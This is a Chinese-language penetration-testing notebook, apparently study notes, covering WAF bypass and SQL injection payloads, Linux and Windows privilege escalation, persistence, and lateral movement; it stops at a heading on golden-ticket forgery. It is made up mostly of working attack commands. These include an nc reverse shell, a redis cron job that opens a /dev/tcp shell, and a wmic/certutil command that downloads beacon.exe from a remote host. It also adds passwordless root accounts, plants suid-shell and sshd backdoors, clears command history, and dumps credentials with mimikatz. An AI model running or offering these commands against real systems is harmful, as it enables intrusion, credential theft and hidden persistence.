      将关键字等价替换:

      Hex() bin()等价于ascii()
      sleep() 等价于 benchmark()
      Mid() substring() 等价于 substr()
      @@user 等价于 User()
      @@Version 等价于 version()
      
    2. 双重url编码
      双重url编码,即对客户端发送的数据进行两次urlencode操作,如s做一次url编码是%73,在进行一次是%25%37%33,一般情况下在代码层默认做一次url编码,这样解码之后的数据一般不会匹配到规则
      或者换一种编码方式:char或Hex编码、Unicode编码、Base64编码

    3. 变换请求方式

      1. 将GET变成POST,或者POST请求将urlencode和form-data转换,这样POST也会接收GET的参数

      2. 在POST请求中,可以将POST数据包转换为上传multipart/form-data格式数据包

      3. 构造参数提交代码

        <html>
            <head></head>
            <body>
                <form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
                    <input type="text" name="id">
                    <input type="submit">
                </form>
            </body>
        </html>
        

        上传数据包参数:

    4. HPP参数污染

      类似?id=1&id=2&id=3的形式,此种形式在获取id值得时候不同的web技术获取的值是不一样的

      假设提交的参数为:

      id=1&id=2&id=3
      
      得到的结果:
      Asp.net + iis: id=1,2,3
      Asp + iis: id=1,2,3
      php + apache: id=3
      

      多种变形:

      MSSQL:
      大小写: ?id=1 UNION/*&ID=*/SELECT 1,2/*&id=*/FROM ADMIN
      GET+POST形式:
      http://192.168.1.13/test/sql.aspx?id=1 union/*
      post: id=2*/select null,null,null
      利用逗号: ?id=1 union select 1&id=2&id=3&id=4 from admin -- (无逗号形式)
      	    ?a=1+union/*&b=*/select+1,pass/*&c=*/from+users -- (分割参数注入)
      无效参数形式:?a=/*&sql=xxx&b=*/
      备注:a,b为无效参数,让waf认为是我们输入的语句是在注释符里执行的所以就不拦截
      
      溢出形式:
      ?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1...&id=1 union select 1,2 from admin
      
    5. 宽字节
      将关键字写成宽字节。参照宽字节对照表

  3. WAF层特性

    1. 逻辑问题

      1. 云waf防护,一般尝试通过查找站点的真是IP,绕过CDN防护
      2. 当提交GET、POST同时请求时,进入POST逻辑,从而忽略了GET请求的有害参数的输入
      3. HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有wAF防护,HTTP没有WAF防护,直接访问HTTP站点就能绕过防护
      4. 特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的又喊参数输入,从而导致waf绕过。比如:`id=1%00 and 1=2 union select 1,2,column_name from information_schema.columns`
      
    2. 性能问题

      1. 数据量达到一定的层级,就不会检测这部分数据。只要不断填充数据,当数据量达到一定数目之后,恶意代码就不会被检测了
      2. 大多数waf是用c语言写的,而c语言自身没有缓冲区保护机制,因此如果waf在处理测试向量时超出了其缓冲区的长度就会引发bug,从而实现绕过
      3. 多次重复提交同一个请求,有的被拦截有的通过
  4. 白名单

    1. IP白名单
      网络层获取的IP,一般不能伪造,如果是应用层(请求包)获取的IP,就可以伪造白名单IP
      测试方法:修改http的header

      x-forwarded-for:
      x-remote-IP:
      x-originating-IP:
      x-remote-addr:
      x-real-ip:
      
    2. 静态资源
      特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css)类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求

      http://127.0.0.1/index.php/1.js?id=1
      aspx/php只识别到前面的.aspx/.php后面的基本不识别
      
    3. url白名单
      为了防止误拦,部分waf内置默认的白名单,例如:admin/manager/system只要url中存在白名单的字符串,就作为白名单不进行检测

      http://127.0.0.1/sql.php/admin.php?id=1
      http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd
      http://127.0.0.1/../../../manage/../sql.asp?id=2
      
    4. 爬虫白名单
      伪造成浏览器的爬虫,测试绕过,使用User-Agent标识是浏览器爬虫

  5. 数据库特性

    1. 0x01前言

      内敛注释:/*!12345union*/select。利用/**/来代替空格 /**/添加!表示这个注释不被注释掉,正常执行
      12345 一定是五位数 表示版本号,代表版本号大于1.23.45版本的时候就执行
      
      Mysql黑魔法:select{x username}from{x mysql.user};
      select {x username}, {x password}, {x user()} from {a users};
      
      换行符绕过:%23%0a, %2d%2d%0a    %23 -> # %0a ->换行
      
    2. 0x02测试

      1. /**//*!50000union*/

        select * from admin where username = 1 union/**/select 1, user() from admin;
        
      2. 空白字符:
        %09, %0a, %0b, %0c, %0d, %20, %a0;

        id=%0aunion select 1, user() from admin
        
      3. 浮点数形式:1.1

        select * from admin where username = 1.0union select 1,user() from admin;
        select * from admin where username = -1.0union select 1,user() from admin;
        select * from admin where username = 1.union select 1,user() from admin;
        
      4. 1E0的形式

        select * from admin where username = 1E0union select 1, user() from admin;
        
      5. \Nunion

        select * from admin where username = \Nunion union select 1, user() from admin;
        
      6. union和select之间的位置

        1. 空白字符

          id=1 union%a0select 1, user() from admin
          
        2. 注释符
          使用空白字符

          /*asdsadasd*/
          
        3. 括号

          select * from admin where username = union(select 1, user() from admin);
          

          unionselect之间可以添加括号

      7. select和查询参数之间的位置

        1. 空白字符
        2. 注释符
        3. 特殊字符
          1. %21 !
          2. %2b +
          3. %2d -
          4. %40 @
          5. %7e
        select * from admin where username = union select~1, user() from admin;
        
      8. 查询参数和from之间的位置

        1. 空白字符
        2. 注释符
        3. 特殊字符

        前面和后面查询同一个表的时候可以添加大小写字母数字

        select * from admin where username = 1 union select 1, user() from123asadmin;
        
    3. 0x03函数

      1. 常见的过滤函数

        1. Mid(version(),1,1)
        2. substr(version(),1,1)
        3. substring(version(),1,1)
        4. lpad(version(),1,1)
        5. rpad(version(),1,1)
        6. left(version(),1)
        7. reverse(right(reverse(version(),1))
      2. 字符串连接函数

        1. concat(version(),'|',user())

        2. concat_ws('|',1,2,3)

        3. 字符串转换ascii(1)

          某云waf可以绕过

      3. 特殊符号过滤

        1. limit处的逗号:limit 1 offset 0

        2. 字符串截取出的逗号 mid处的逗号:mid(version() from 1 for 1)

        3. union处的逗号:通过join拼接

          select * from admin where username = 1 union select * from (select 1)a join (select{x schema_name}from information_schema.SCHEMATA limit 1,1)b;
          
        4. 操作符<>被过滤

          select * from users where id=1 and ascii(substr(database(),0,1)) > 64;
          

          此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符。greatest(n1,n2,n3)函数返回输入参数(n1,n2,n3)的最大值

          select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
          
      4. 部分函数构造

        1. sleep(5)/benchmark(10000000, SHA1(1))

          id=1 xor sleep%23%0a(5)
          id=1 xor sleep%2d%2d%0a(5)
          id=1 xor sleep([%20]5)
          id=1 xor benchmark%0a(10000000, SHA1(1))
          id=1 xor sleep[空白字符](5)
          
        2. select{x 1}形式
          select{x[可填充字符]1}

    4. 0x4 END

###漏洞查找

查找对方主机的端口,根据对方开放的服务找到对应插件的漏洞。例如:对方系统Liunx,网站构建的插件Drupal等。攻击方式:msfconsolesearchpolity 漏洞:查找对应CVE漏洞版本,看看是在本地执行还是下载到对方上面执行

  • /etc/hosts:若是网站用了重定向在这个文件配置重定向
  • 遇见密码:
    1. 弱口令
    2. sql注入
    3. 爆破
  • fpt:默认端口21,可以进行匿名登录/远程连接
  • 前端403页面访问代理访问
    • x-Forwarded-For:127.0.0.1
    • X-Original-URL:
    • Referer:www.baidu.com
    • X-Rewrite-URL:

进入到对方的计算机中一般用户的权限都是www-data。此时要进行提权。

python打开命令行的代码:python -c "import pty; pty.spawn('/bin/bash')"

python打开端口的代码python -m http.server 80

提权方式:

  1. mysql udf提权

  2. find / -perm -u=s -type f 2>/dev/null:查找容易撬锁的房间
    find / -name index.php -exec "/bin/sh" \;

  3. cat /etc/passwd:查看Linux的账号存放地址 cat /etc/shadow:查看Linux的用户的密码存放地址

  4. echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd teehee: 'ap::0:0:::/bin/bash'
    

    只要替换其中的ap就能添加一个无密码的具有root权限的账号

反弹shell

命令1:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f

  • rm /tmp/f:删除 /tmp/f 文件(如果存在),确保干净环境
  • mkfifo /tmp/f:创建一个命名管道(FIFO) /tmp/f,用于进程间通信
  • cat /tmp/f:从命名管道中读取数据
  • bash -i:启动一个交互式 bash shell
  • 2>&1:将标准错误输出重定向到标准输出
  • nc 192.168.91.128 9999:连接到 IP 为 192.168.222.128、端口为 9999 的远程主机
  • >/tmp/f: 将远程主机发来的数据写回命名管道,形成循环通信

Windows信息收集

系统信息

  1. 系统
    net config workstation --> 查询建议信息
    systeminfo --> 查询全部内容
    wmic qfe get Caption,Description,HotFixID,InstalledOn --> 查询已安装列表

  2. 进程

    tasklist /v    # 查询正在运行的进程
    wmic product get name, version   #查询所有安装过的软件即版本
    powershell "Get-WmiObject-class Win32_Product|Select-Object-Property name,version"   #使用powershell 查询所有安装过的软件即版本,效果和wmic相同
    wmic service list brief   #查询当前机器的服务信息
    wmic startup get command,caption   #查看启动项
    schtasks /query /fo LIST /v   #查看任务计划
    
    
    #windows自带防火墙及特殊过滤规则等网络访问均可使用netsh及相关命令查看
    netsh firewall show config #查看防火墙信息。但firewall命令已经弃用,用advfirewall命令代替
    netsh advfirewall set allprofiles state off/on #关闭/开启防火墙
    netsh advfirewall firewall show rule name=all #查看全部的规则
    netsh advfirewall export/import xx.pol #导出/导入配置文件
    
    netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block #新建规则阻止TCP协议139端口
    
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #新建规则允许3389通过防火墙
    
    netsh advfirewall firewall delete rule name=Remote Desktop #删除名为Remote Desktop的防火墙
    
    netsh interface #连接安全规则配置,很少配置
    
  3. 用户权限

    whoami #当前用户
    quser  #查询登录用户,通query user
    qwinsta #查询登录用户,通query user
    query user #查询登录用户
    query session #查询会话
    query termserver #查询远程桌面主机列表
    net accounts #查询域密码策略
    net user #查询本地用户列表
    net user "$username" #查询指定用户
    net localgroup #查询本地用户组列表
    net localgroup "$groupname" #查询指定用户组成员
    net group #仅域控可执行,查询用户组列表
    net group "$groupname" #仅域控可执行,查询用户组成员
    
  4. 用户操作

    doskey /h #查看历史指令
    doskey /reinstall #删除历史指令
    
    Get-History | Format-list-Property *  # 查询powershell 当前窗口历史操作记录
    Clear-History  # 删除powershell 当前窗口历史操作记录
    Clear-History-Id 3 # 删除powershell 当前窗口历史操作记录指定id
    

拓扑信息

  1. 网络拓扑发现

    ipconfig /all #当前主机详细信息
    ipconfig /displaydns #列出dns缓存信息
    route print #查询路由表
    arp -a #地址解析协议缓存表
    netstat -ano #端口使用情况乱
    net share #查看共享信息
    net view #查看共享资源列表
    wmic share get name,path,status #查看共享信息
    

    日志

    wevtutil qe security /f:text /q:*[system[(eventID=4624)]] #查询登录日志
    
    wevtutil qe security /rd:true /f:text /q:"*[system[(eventID=4624 and 4623 and 4627)]]" #查询所有登录、注销相关的日志语法
    

    浏览器访问日志:
    chrome:C:\Users$username\AppData\Local\Google\Chrome\User Data\Default\History
    firefox:C:\UsersUndefined control sequence \AppDataname.default\places.sqlite
    IE:C:\Users$user\AppData\Local\Microsorft\Windows\History

  2. 内网其他存活主机

  3. 域信息

    net config workstation # 查询当前登录域
    net time #同步时间,通常为域控制器
    net accounts /domain #查询域密码策略
    net user /domain #列出当前域成员列表
    net user username /domain #列出域成员详细信息
    net group /domain #列出域内组列表
    net group groupname /domain #列出域内组成员列表
    
    net view # 查询同一域内机器列表
    net view /domain #查询域列表
    net view /domain:test #查询test域中计算机列表
    
    nltest /dclist:domain #查询域内所有的DC
    nltest /dsgetdc:domain #拿到DC当前的认证信息
    nltest /domain_trusts #查询域信任信息
    nltest /user:"username" #得到用户信息
    

凭证信息(用于横向渗透)

  1. 用户凭证信息
  2. 系统用户hash
  3. DPAPI
  4. 常用软件密码记录

Powershell权限显示(get-executionpolicy 获取当前权限信息,set-executionpolicy [权限名称]:修改当前权限):

  1. restricted:默认设置,不允许执行任何脚本
  2. allsigned:只能运行经过证书验证的脚本
  3. unrestricted:权限最高,可以执行任意脚本
  4. remotesigned:对本地脚本不进行限制,对来自网络的脚本必须验证签名

自动化windows收集工具

WMIC信息收集

  1. 补丁信息、补丁包过滤

    wmic qfe get Caption,Description,HotFixID,InstalledOn 
    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KVxxxxx" /C:"KVxxxxx"
    
  2. 查看杀毒软件

    1. 获取杀软名称:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
    2. 获取杀软名和安装路径:WMIC /namespace:\\root\SecurityCenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe

SC服务管理:输入sc获取执行命令

Linux信息收集

uname -a #所有可用信息
uname -r #内核版本信息
uname -n #系统主机名字
uname -m #Linux内核架构(x86/x64)
hostname #主机名

cat /etc/*-release #发布信息
cat /etc/issue #发布信息
cat /etc/passwd #列出系统所有用户
cat /etc/group #列出系统所有组
cat /etc/shadow #列出所有用户hash(需要root权限)
cat /etc/shell #查询系统中所有的终端
cat /etc/inetd.conf #由inetd管理的服务列表
cat /etc/xinetd.conf #由xinetd管理的服务列表
cat /etc/exports #nfs服务器的配置
cat /proc/cpuinfo #CPU信息
cat /proc/version #内核信息
cat ~/.bash_history #查看当前用户的历史记录

find / -name %program_name% #查找软件
find / -perm -4000 -type f #查找SUID文件
find / -uid 0 -perm -4000 -type f #查找root权限的SUID文件
find / -perm -2 -type f #查找可写的文件
find / ! -path "/proc/" -perm -2 -type f -print #查找/proc以外的可写文件
find / -perm -2 -type d #查找可写的目录
find /home -name*.rhosts -print #查找rhosts的配置文件
find /home -iname*.plan -exec ls -la{};-exec cat{} #查询文件并打印

ls -la ~/.*_history #查看当前用户的各种历史记录
ls -la ~/.ssh/ #查看用户ssh登录信息
ls -la /usr/sbin/in.* #检查inetd服务的配置
ls -la /etc/*.conf #列出/etc下的所有配置文件
ls -la /etc/cron* #计划任务
ls -ahlR /root/ #查看是否有权限列用户目录

grep -l -i pass /var/log/*.log #查询包含pass的日志并打印匹配到的行
lsof -i -n #列出打开的文件
head /var/mail/root #答应/var/mail/root的开头
users #当前登录用户
who -a #当前登录用户
w #列出当前登录系统的有那些人,以及他们正在执行的程序
last #显示等入过的用户信息
lastlog #显示系统中所有用户最近一次的登录信息
ps aux #查看进程信息
crontab -l -u %username% #显示指定用户的计划作业(需要root权限)
top #列出当前进程
which %program_name% #查找软件

df -a #文件系统信息

Windows提权

x86 32位系统

x86_64 64位系统

User:普通用户权限

Administrator:管理员权限,可利用windows机制提升为system权限

System:系统权限

trustedInstaller:windows中最高权限,system也无法修改,只能本权限修改,用来执行系统级别的操作

  1. 内核溢出漏洞提权
    查找内核信息,以及未修补的补丁或者相关补丁的漏洞,查询对应的漏洞,提升权限/工具自动化提权
  2. UAC绕过提权(用户账号控制 )
    1. msf use exploit/windows/local/bypassuac tab补全
    2. msf use exploit/windows/local/ask
    3. https://github.com/hfiref0x/UACME
  3. 错误配置
    1. 可信任服务路径漏洞:
      1. wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v "''"
      2. 将木马名字修改为信任服务的名字
    2. 系统服务权限配置错误
  4. 计划任务:查找以system权限运行的计划任务,将木马的名字修改为任务名或对应任务的文件
  5. 组策略首选项提权:使用msf post/windows/gather/credentials/gpp查找组策略中是否泄露密码等关键信息
  6. 令牌伪造:
    1. 需要admin权限/webshell权限搭配烂土豆漏洞。普通用户无效
    2. use incognito:加载令牌
    3. list_tokens -u:列出令牌
    4. impersonate_token "NT AUTHORITY\SYSTEM":伪造system的令牌获取去system权限
  7. 数据库提权
  8. alwaysinstallelevated提权:注册表漏洞,windows允许以第一用户以admin的权限和漏洞去运行软件 查询installer是否开启 reg query 注册表路径\installer /v能查到的情况下说明开启或者使用msf exploit/windows/local/always_install_elevated去自动化扫描
  9. 自带安装配置文件/unattened install:管理员在域中批量配置的时候的脚本 。msf post/windows/gather/enum_unattend自动化扫描
  10. 第三方软件漏洞

Linux提权

  1. mysql udf提权

    攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令

    udf提权需要有一个高权限的mysql账号,最好是root账号

    select user();
    select current_user;
    SELECT * FROM mysql.user WHERE user='root'\G
    
    select user,host from mysql.user; # 查看数据库下的所有用户
    
  2. suid提权:
    查找具有SUID权限的文件

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null # 主要使用
    find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
    find / -perm -4000 -type f #!!!!!!!!!!!!!!好用 查找SUID文件
    
    chmod u+s /bin/usr/find #给文件添加suid权限
    

    常见的suid提权命令

    nmap
    vim
    find
    bash
    more
    less
    nano
    cp
    awk
    mv

    SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

    • find:

      touch anyfile #文件任意但是必须要有这个文件
      find anyfile -exec whoami \;
      find . -exec /bin/sh -p \; -quit
      
    • bash:

      bash -p
      
    • vim:

      利用vim添加账号

      vim /etc/passwd 添加特权用户
      添加:bob:x:0:0::/home/bob:/bin/bash
      vim /etc/shadow 添加特权用户
      bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
      

      利用vim打开交互式shell,在哪python

      vim -c ';py import os; os.excel("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
      
      python -c 'import os; os.excel("/bin/sh", "sh", "-p")'
      

      利用vim创建文件在保存文件的时候输入一下命令

      :!/bin/sh
      :!/bin/bash
      
    • nmap:

      #老版的nmap
      nmap --intercative
      nmap> !/bin/sh
      
      #新版nmap
      echo 'os.execute("/bin/sh")' > getShell
      sudo  nmap  --script=getShell
      
    • more/less:

      more/less /etc/passwd
      
      !/bin/sh
      
    • awk:

      awk 'BEGIN{system("/bin/sh")}'
      
    • cp:

      vi passwd
      
      cat passwd
      
      cp passwd /etc/passwd
      
  3. echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd teehee: 'ap::0:0:::/bin/bash'
    
    su ap #无密码,可直接切换
    

    只要替换其中的ap就能添加一个无密码的具有root权限的账号,ap自定义名称

  4. uname -a:查看系统版本 uname -r:查看内核版本

    找到系统和内核版本,可以用searchsploit linux 5.15.0-56 查找exp进行执行代码提权

  5. msfconsole:payload漏洞植入

  6. cat /etc/passwd:查看Linux的账号存放地址 cat /etc/shadow:查看Linux的用户的密码存放地址(拿到root权限才能查看shadow )
    john:爆破哈希密码
    如果有权限修改,可以自己生成hash值然后替换源文件中的hash值

  7. sudo -u user ./sort.exe

    如果文件中有/bin/bash则不用写入。没有的话执行下面的命令,在文件中写入/bin/bash

    echo "/bin/bash" >> backups.sh :在backups.sh文件的最后写入/bin/bash
    然后再执行标题代码,就能切换到对应的用户

  8. path劫持:

    cd /tmp					#切到所有人可写的目录,在该目录中伪造命令执行文件
    echo "/bin/bash" > scp 	#生成一个 3 字节脚本,内容就是启动新 bash scp可以根据脚本执行命令名称修改
    chmod +x scp			#给它可执行权限
    export PATH=/tmp:$PATH	#把 /tmp 插到 $PATH 最前面,在linux系统查询scp命令的时候优先在/tmp中查询
    cd /opt					#回到目标(执行伪造程序的程序)程序所在目录
    ./s						#运行 set-UID 程序(或管理员脚本)
    

    当查到命令执行代码中出现未标明绝对路径的命令,即可伪造命令查询路径

  9. 定时任务:将任务中执行高权限的文件替换为自己的提权文件 cat /etc/crontab

  10. 查找弱权限的文件:

    find /etc -maxdepth 1 -writable -type f
    find /etc -maxdepth 1 -readable -type f
    find / -executable -wirtable -type d 2 > /dev/null
    
  11. ssh查找

    ls -l /.ssh
    
    #查找靶机上的.ssh文件,里面有靶机root用户登录ssh的密钥root_key,可以将他复制下来到攻击机的.ssh文件中,这个时候 通过
    ssh -i root_key root@目标机器地址
    #即可免密登录
    

数据库提权

确保开启数据库服务,以及有高权限密码

  1. 探针(探测端口):

    • mysql:3306
    • mssql:1433
    • oracle:1521
    • redis:6379
  2. 收集密码:

    1. 配置文件关键字:

      • sql
      • data
      • inc
      • config
      • conn
      • database
      • common
    2. 存储文件: mysql自带的密码文件 -> 网站路径/MySQL/data -> 后缀是.MYD的文件就是数据文件

    3. 爆破

      前提条件是允许外部连接

    4. 社工

  3. 提权:

    • MySQL

      • UDF提权:

        • 介绍:用户自定义函数功能
        • 使用:
          1. 插件查找:小于5.1版本的UDF目录是在C:/windows或者system32目录下。大于等于5.1版本的UDF目录是MySQL的安装目录下的/lib/plugin。没有plugin的话可以自己创建
            show variables like '%plugin%';
          2. 函数编辑:C语言,windows编译成.dll文件,linux编译成.so文件,放到插件库中,去执行提权的函数获取权限
          3. 上传之后执行sql语句:create function 函数名 returns string soname '文件名.add/os'
      • MOF提权:

        • 介绍:适用于windows2003server。mof是Windows系统的一个文件叫做“托管对象格式”其作用就是每隔五秒就会去监控进程的创建和死亡

        • 使用:将mof文件上传至可读可写的目录下,使用有root权限的mysql将文件写入指定目录

      • 启动项提权:

        • 使用:windows server 启动项目录 C:/programdata/microsoft/winwows/start menu/programs/startup,和mof类似,用into file将文件上传到该路径下,电脑重启就会拿到权限
      • 反弹shell:和udf一样,用nc反弹shell

    • mssql(sql server):

      • xp_cmdshell

        • 介绍:sql server2000默认开启,2005之后默认禁止,需要管理员权限才能开启。这个功能使用来执行系统漏洞。
        • 开启命令:
          exec sp_configure 'show advanced options',1;
          reconfigure;
          exec sp_configure xp_cmdshell,1;
          reconfigure
        • 执行命令:exec master.dbo.xp_cmdshell [系统指令]然后提取
        • 修复:如果数据库中没有这个扩展需要下载文件然后找修复指令,修复这个插件
      • sp_oacreate

        • 开启命令:
          exec sp_config 'show advanced options',1;
          RECONFIGURE WITH OVERRIDE
          exec sp_configure 'Ole Automation Procedures',1;
          RECONFIGURE WITH OVERRIDE
        • 执行命令:declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
      • 沙盒模式:命令提权

        搜索

      • 映像劫持

    • oracle:拿到数据的用户密码,使用oracleshell提权工具

    • redis(未授权访问):

      • 计划任务反弹shell
        1. set x "\n * * * * * /bin/bash -i > /dev/tcp/ip地址/端口 0<&1 2>&1\n"
        2. config set dir /var/spool/cron/
        3. config set dbfilename root
        4. save
    • postgres:历史漏洞,CVE

权限维持

  • windows

    • 将木马程序命名修改为系统程序的名字

    • 映像劫持:windows的IE浏览器的注册表的iexplore.exe中出现debugger,将debugger的值修改为木马的路径HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe,当用户打开IE的时候就会启动木马程序 注册表添加语法reg add "注册表路径" /v "Debugger" /t REG_SZ /d "c:\木马程序"

    • 启动项:将木马放入启动项文件中,或者添加注册表中的启动项数值
      HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
      这俩都是启动项的注册表值,需要对应的用户登录才能启动
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
      这个需要管理员权限

    • 服务:cmd创建一个服务

      msf自带创建服务的功能,无杀毒软件可用

    • 计划任务:

      • 创建:schtasks /create /sc minute /mo 1 /tn "木马名称" /tr 木马路径 /ru 以什么权限执行
      • 删除:schtasks /delete /tn 木马名称
    • winlogon:

      • 介绍:用户初始化,用户登录前就会执行该程序
      • 使用:修改winlogon的注册表中的值
      • 添加规则:C:\Windows\system32\userinit.exe,C:\木马程序,这两个都要添加上,不然会导致电脑黑屏
    • 文件关联:将txt文件修改为以木马的方式执行,将注册表中txt的打开方式修改文木马程序的路径

  • linux

    • 隐藏文件修改文件时间:touch -r 同步时间的样式文件 被同步时间的目标文件

    • 文件锁定:添加特殊权限chattr +i aa.php,删除的时候就无法被删除了

      解除历史记录的记录 set +o history

    • 创建隐藏文件:touch .aa.php

    • 用户添加:useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test1 添加的就是root用户

      添加root用户

    • 管理员权限的后门
      cp /bin/bash /tmp/shell
      chmod +s /tmp/shell
      /tmp/shell -p

    • ssh公钥私钥免密登录:
      ssh-keygen -t rsa生成的密钥在/root/.ssh/id_rsa中存储cat id_rsa.pub查看公钥并复制到目标机器上的文件/root/.ssh/authorized_keys中,没有就创建。再用ssh连接就是root权限

    • 软连接:就是ssh服务器必须配置PAM服务
      ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345然后关闭防火墙。之后可以使用任意的账号密码登录

    • ssh开启tcp监听:
      rm -rf .ssh
      cd /usr/sbin
      mv sshd ../bin
      echo '#!/usr/bin/perl' > sshd
      echo 'exec "/bin/ssh" if(getpeername(STDIN) =~/^..4A);' >> sshd
      echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd", @ARGV,' >> sshd
      service sshd restart
      socat STDIO TCP4:IP地址:端口,sourceport=13377

    • 添加计划任务:vim /etc/crontab

    • 隐蔽隧道:https://github.com/andreafabrizi/prism

内网横向移动

测试是否是域并且是不是用的域用户登录:net time /domain ipconfig /all

WMI服务

wmic:内置工具,无明显的回显(单执行)

wmic /node:ip /user:Adm inistrator /password:xxxxx processs call create "cmd.exe /c certutil" -urlcache -split -f http://xxx.xxx.xxx.xxx/beacon.exe c:/beacon.exe

wmic /node:ip /user:Administrator /password:xxxxx processs call create "cmd.exe c:/beacon.exe"

不支持hash,明文传输

smb:(对方smb服务且445端口开启,连接上ipc$)

  1. 连接ipc$
    1. net use \\192.168.89.1\ipc$"password" /user:username 工作组
    2. net use \\192.168.89.1\ipc$"password" /user:domain\username 域内
  2. psexec
    1. 明文:psexec.exe \\ip -u domain\administrator -p password -s cmd.exe
    2. hash:psexec.exe -hashes :NTLM哈希值 域/administrator@192.168.98.3
  3. smbexec
    1. 明文传递:smbexec.exe 域/user:password@ip
    2. hash传递:smbexec.exe -hashes :NTLM哈希值 ./user@ip

cscript:内置工具(交互式)需要事先传入wmiexec.vbs文件

cscript //nologo wmiexec.vbs /shell xxx.xxx.xxx.xxx (user) (password)

尽量终端中使用,cs中不要使用

PTH横向传递攻击

PTH攻击建立在密码hash之上。攻击系统范围为win7 \win2008r2\win2012等。若系统打了KB2871997 补丁只能administrator连接,没有打补丁任何用户都可以连接

域内hash传递:sekurlsa::pth /user:sql2008 /domain:hacker /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d

工作组hash:sekurlsa::pth /user:administrator /domain:workgroup /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d

PTK横向传递攻击

PTK传递攻击针对的是打了KB2871997补丁的,未打补丁是不能用的,这里需要使用mimikatz获取AES keys,获取命令为:sekurlsa::ekeys

1)判断是否打了KB2871997补丁
2)获取AES密码
3)跳板机的管理员权限
4)能在本地运行,远程没有测试成功

信息收集工具mimikatz:(必须是管理员或者system权限执行)

  1. 获取Debug权限:privilege::debug

    • 提升 Mimikatz 进程权限,获取 SeDebugPrivilege,以便访问系统凭据。
    • 返回 Privilege '20' OK 表示成功。
  2. 获取系统中存储的明文密码、哈希:sekurlsa::logonpasswords

    • 获取当前系统已登录账户的凭据(用户名、NTLM 哈希、SHA1 哈希)。
    • NTLM 哈希可用于 Pass-the-Hash 攻击。
    • Password 字段为空,说明系统未存储明文密码。
  3. 提升token权限(绕过权限不足的问题):token::elevate

    • 使用 NT AUTHORITY\SYSTEM 账户运行 Mimikatz,以访问更高级别的凭据。
    • 成功后,当前线程将拥有 SYSTEM 权限。
  4. dump sam数据库中的用户凭据:lsadump::sam

    1. 离线与域控哈希提取 (lsadump 模块):用于从 SAM 文件或域控制器中提取哈希

    2. 命令描述与说明
      lsadump::sam从本地 SAM 数据库中读取本地用户的密码哈希。通常需要 SYSTEM 权限
      lsadump::lsa /patchLSA 内存中读取所有活跃用户的密码哈希(包括域用户)。常用于域控制器,效果直接
      lsadump::dcsync /domain:<域名> /user:<用户名>DCSync 攻击。模拟域控制器,从目标域控上请求指定用户的哈希,无需在域控上执行代码
      lsadump::trust转储域间的信任关系及信任密钥

    提取本地 SAM 数据库中的用户哈希。
    NTLM Hash 可用于离线破解或 Pass-the-Hash。
    关键字段:
    SysKey:系统密钥。
    SAMKey:SAM 数据库的加密密钥。
    NTLM Hash:用户凭据的哈希。
    RID:用户 ID(如 500 代表 Administrator)

  5. 杂项

    1. 命令描述与说明
      token::elevate模拟 SYSTEM 账户的令牌,提升权限至最高-3
      crypto::certificates /export列出并导出证书存储中的证书,即使是标记为“不可导出”的私钥也可能被导出
      misc::cmd打开一个新的具有 System 权限的命令提示符
  6. 哈希传递与票据攻击

    1. 命令描述与说明
      sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<NTLM哈希>Pass-the-Hash (哈希传递)。使用 NTLM 哈希启动一个新进程(如 cmd),从而模拟用户,无需知道明文密码
      kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<KRBTGT哈希> /ptt黄金票据攻击。伪造 KRBTGT 账户的 TGT,生成任意用户的票据并注入内存(/ptt),可用于获取域控权限
      kerberos::ptt <票据文件>Pass-the-Ticket (票据传递)。将现有的 Kerberos 票据文件注入到当前会话中

黄金票据伪造流程:

